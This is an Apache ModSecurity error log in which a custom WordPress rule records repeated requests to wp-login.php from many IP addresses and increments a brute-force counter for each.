[Tue May 26 20:28:35.812124 2026] [:error] [pid 43701:tid 43709] [client 45.131.194.95:44489] [client 45.131.194.95] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.95, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWR84WtVI_UGrhtwKCYzwAAAUY"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:28:49.011518 2026] [:error] [pid 33977:tid 33990] [client 45.131.194.109:20405] [client 45.131.194.109] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.109, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWSAe9cnSDNAU9sYPjVAwAAAAo"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:28:54.202779 2026] [:error] [pid 36497:tid 36522] [client 45.131.194.137:22961] [client 45.131.194.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.137, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWSBrjKQWM1gBmBY4jozQAAAMw"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:29:01.967004 2026] [:error] [pid 33888:tid 33949] [client 45.131.194.85:53329] [client 45.131.194.85] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.85, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWSDTqzTeoxiinZsGH8LgAAAQM"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:29:12.348329 2026] [:error] [pid 33977:tid 34002] [client 45.131.194.138:34377] [client 45.131.194.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.138, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWSGO9cnSDNAU9sYPjVIQAAABY"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:29:17.892507 2026] [:error] [pid 43701:tid 43724] [client 45.146.54.187:54781] [client 45.146.54.187] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.187, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWSHYWtVI_UGrhtwKCZaAAAAVU"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:29:25.274590 2026] [:error] [pid 36497:tid 36529] [client 45.131.194.103:56819] [client 45.131.194.103] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.103, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWSJbjKQWM1gBmBY4jpPAAAANM"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:29:31.742815 2026] [:error] [pid 33886:tid 33897] [client 45.131.194.84:48789] [client 45.131.194.84] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.84, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWSK7BYzgp5rPVdHcWUzgAAAEY"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:29:35.844213 2026] [:error] [pid 36497:tid 36534] [client 45.131.194.84:45653] [client 45.131.194.84] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.84, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWSL7jKQWM1gBmBY4jpgQAAANg"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:29:40.291571 2026] [:error] [pid 33886:tid 33897] [client 45.131.194.73:50235] [client 45.131.194.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.73, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWSNLBYzgp5rPVdHcWU3wAAAEY"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:29:45.516483 2026] [:error] [pid 36497:tid 36524] [client 45.146.54.189:53871] [client 45.146.54.189] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.189, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWSObjKQWM1gBmBY4jpvwAAAM4"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:29:53.237152 2026] [:error] [pid 33888:tid 33953] [client 45.131.194.103:57291] [client 45.131.194.103] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.103, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWSQTqzTeoxiinZsGH8iwAAAQc"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:29:58.291563 2026] [:error] [pid 33887:tid 33922] [client 45.131.194.83:40349] [client 45.131.194.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.83, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWSRtCOI_FV7meOxGcriwAAAIM"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:30:04.677238 2026] [:error] [pid 33887:tid 33923] [client 45.131.194.84:44391] [client 45.131.194.84] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.84, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWSTNCOI_FV7meOxGcrkwAAAIQ"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:30:10.366561 2026] [:error] [pid 33888:tid 33965] [client 45.131.194.105:28857] [client 45.131.194.105] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.105, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWSUjqzTeoxiinZsGH8pgAAARM"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:30:18.555980 2026] [:error] [pid 43701:tid 43726] [client 45.131.194.87:23059] [client 45.131.194.87] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.87, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWSWoWtVI_UGrhtwKCbfgAAAVc"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:30:33.809329 2026] [:error] [pid 33886:tid 33900] [client 45.146.54.186:34277] [client 45.146.54.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWSabBYzgp5rPVdHcWVDgAAAEk"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:30:42.187722 2026] [:error] [pid 33886:tid 33906] [client 45.131.194.73:53469] [client 45.131.194.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.73, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWScrBYzgp5rPVdHcWVEQAAAE8"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:30:47.753043 2026] [:error] [pid 36497:tid 36522] [client 45.131.194.137:40607] [client 45.131.194.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.137, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWSd7jKQWM1gBmBY4jq6wAAAMw"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:30:59.885407 2026] [:error] [pid 33887:tid 33928] [client 45.146.54.187:55927] [client 45.146.54.187] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.187, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWSg9COI_FV7meOxGcsMAAAAIk"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:31:05.768391 2026] [:error] [pid 43701:tid 43707] [client 45.131.194.86:51063] [client 45.131.194.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWSiYWtVI_UGrhtwKCcQAAAAUQ"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:31:15.417470 2026] [:error] [pid 33977:tid 34000] [client 45.131.194.96:25663] [client 45.131.194.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.96, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWSk-9cnSDNAU9sYPjWowAAABQ"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:31:19.601860 2026] [:error] [pid 33977:tid 33994] [client 45.131.194.99:61101] [client 45.131.194.99] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.99, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWSl-9cnSDNAU9sYPjWugAAAA4"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:31:25.674606 2026] [:error] [pid 43701:tid 43721] [client 45.131.194.101:39305] [client 45.131.194.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.101, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWSnYWtVI_UGrhtwKCc0gAAAVI"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:31:30.532460 2026] [:error] [pid 36497:tid 36512] [client 45.146.54.184:43569] [client 45.146.54.184] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.184, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWSorjKQWM1gBmBY4jrkgAAAMI"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:31:34.859426 2026] [:error] [pid 33887:tid 33939] [client 45.131.194.72:24227] [client 45.131.194.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.72, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWSptCOI_FV7meOxGcsawAAAJQ"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:31:40.543782 2026] [:error] [pid 33888:tid 33967] [client 45.131.194.101:44159] [client 45.131.194.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.101, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWSrDqzTeoxiinZsGH9YQAAARU"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:31:45.262430 2026] [:error] [pid 33887:tid 33930] [client 45.131.194.102:64087] [client 45.131.194.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.102, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWSsdCOI_FV7meOxGcshgAAAIs"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:31:57.635737 2026] [:error] [pid 43701:tid 43716] [client 45.131.194.83:42201] [client 45.131.194.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.83, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWSvYWtVI_UGrhtwKCdlwAAAU0"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:32:03.596480 2026] [:error] [pid 33887:tid 33928] [client 45.131.194.91:27487] [client 45.131.194.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.91, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWSw9COI_FV7meOxGcsrwAAAIk"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:32:10.180527 2026] [:error] [pid 33977:tid 33999] [client 45.131.194.91:33831] [client 45.131.194.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.91, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWSyu9cnSDNAU9sYPjXSQAAABM"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:32:17.710851 2026] [:error] [pid 43701:tid 43721] [client 45.131.194.94:53071] [client 45.131.194.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWS0YWtVI_UGrhtwKCeNAAAAVI"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:32:26.231965 2026] [:error] [pid 33888:tid 33958] [client 45.146.54.189:26961] [client 45.146.54.189] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.189, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWS2jqzTeoxiinZsGH9nAAAAQw"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:32:29.933351 2026] [:error] [pid 33977:tid 33986] [client 45.131.194.80:34071] [client 45.131.194.80] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.80, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWS3e9cnSDNAU9sYPjXZwAAAAY"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:32:33.879754 2026] [:error] [pid 33977:tid 33998] [client 45.131.194.70:45665] [client 45.131.194.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.70, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWS4e9cnSDNAU9sYPjXbAAAABI"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:32:36.489747 2026] [:error] [pid 43701:tid 43727] [client 45.131.194.102:57399] [client 45.131.194.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.102, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWS5IWtVI_UGrhtwKCeuAAAAVg"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:32:42.292099 2026] [:error] [pid 33887:tid 33940] [client 45.146.54.181:54095] [client 45.146.54.181] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.181, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWS6tCOI_FV7meOxGcszgAAAJU"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:32:53.340371 2026] [:error] [pid 36497:tid 36516] [client 45.146.54.180:37575] [client 45.146.54.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.180, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWS9bjKQWM1gBmBY4jsyQAAAMY"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:32:58.835845 2026] [:error] [pid 43701:tid 43723] [client 45.131.194.71:28063] [client 45.131.194.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.71, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWS-oWtVI_UGrhtwKCfSwAAAVQ"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:33:04.111093 2026] [:error] [pid 36497:tid 36513] [client 45.131.194.84:34013] [client 45.131.194.84] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.84, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWTALjKQWM1gBmBY4js2QAAAMM"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:33:09.636506 2026] [:error] [pid 43701:tid 43721] [client 45.131.194.103:59583] [client 45.131.194.103] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.103, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWTBYWtVI_UGrhtwKCfvwAAAVI"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:33:19.003685 2026] [:error] [pid 33886:tid 33909] [client 45.131.194.70:33765] [client 45.131.194.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.70, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWTD7BYzgp5rPVdHcWWrQAAAFI"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:33:22.970915 2026] [:error] [pid 33888:tid 33965] [client 45.131.194.91:23607] [client 45.131.194.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.91, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWTEjqzTeoxiinZsGH97wAAARM"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:33:41.099106 2026] [:error] [pid 43701:tid 43704] [client 45.146.54.187:25739] [client 45.146.54.187] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.187, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWTJYWtVI_UGrhtwKCg1QAAAUE"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:33:46.949389 2026] [:error] [pid 43701:tid 43715] [client 45.146.54.185:54711] [client 45.146.54.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.185, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWTKoWtVI_UGrhtwKCg9QAAAUw"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:33:54.224272 2026] [:error] [pid 43701:tid 43713] [client 45.131.194.108:41491] [client 45.131.194.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.108, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWTMoWtVI_UGrhtwKChKgAAAUo"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:33:59.764817 2026] [:error] [pid 33886:tid 33910] [client 45.146.54.185:56411] [client 45.146.54.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.185, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWTN7BYzgp5rPVdHcWXKAAAAFM"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:34:04.436717 2026] [:error] [pid 33888:tid 33951] [client 45.131.194.93:21017] [client 45.131.194.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.93, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWTPDqzTeoxiinZsGH-iAAAAQU"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:34:08.727042 2026] [:error] [pid 43701:tid 43715] [client 45.131.194.87:41823] [client 45.131.194.87] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.87, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWTQIWtVI_UGrhtwKChVQAAAUw"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:34:12.548301 2026] [:error] [pid 43701:tid 43723] [client 45.131.194.137:63123] [client 45.131.194.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.137, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWTRIWtVI_UGrhtwKChXAAAAVQ"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:34:19.355029 2026] [:error] [pid 43701:tid 43725] [client 45.131.194.84:39109] [client 45.131.194.84] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.84, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWTS4WtVI_UGrhtwKChegAAAVY"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:34:23.593552 2026] [:error] [pid 33886:tid 33905] [client 103.124.95.33:56714] [client 103.124.95.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.124.95.33, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWTT7BYzgp5rPVdHcWXWgAAAE4"]
[Tue May 26 20:34:24.970849 2026] [:error] [pid 33886:tid 33898] [client 103.124.95.33:56714] [client 103.124.95.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.124.95.33, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWTULBYzgp5rPVdHcWXXAAAAEc"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 20:34:30.304681 2026] [:error] [pid 33977:tid 33993] [client 45.131.194.138:31289] [client 45.131.194.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.138, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWTVu9cnSDNAU9sYPjYdwAAAA0"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:34:34.785298 2026] [:error] [pid 33977:tid 33992] [client 45.131.194.79:37589] [client 45.131.194.79] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.79, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWTWu9cnSDNAU9sYPjYfAAAAAw"], referer: https://gigfragments.org/wp-admin/
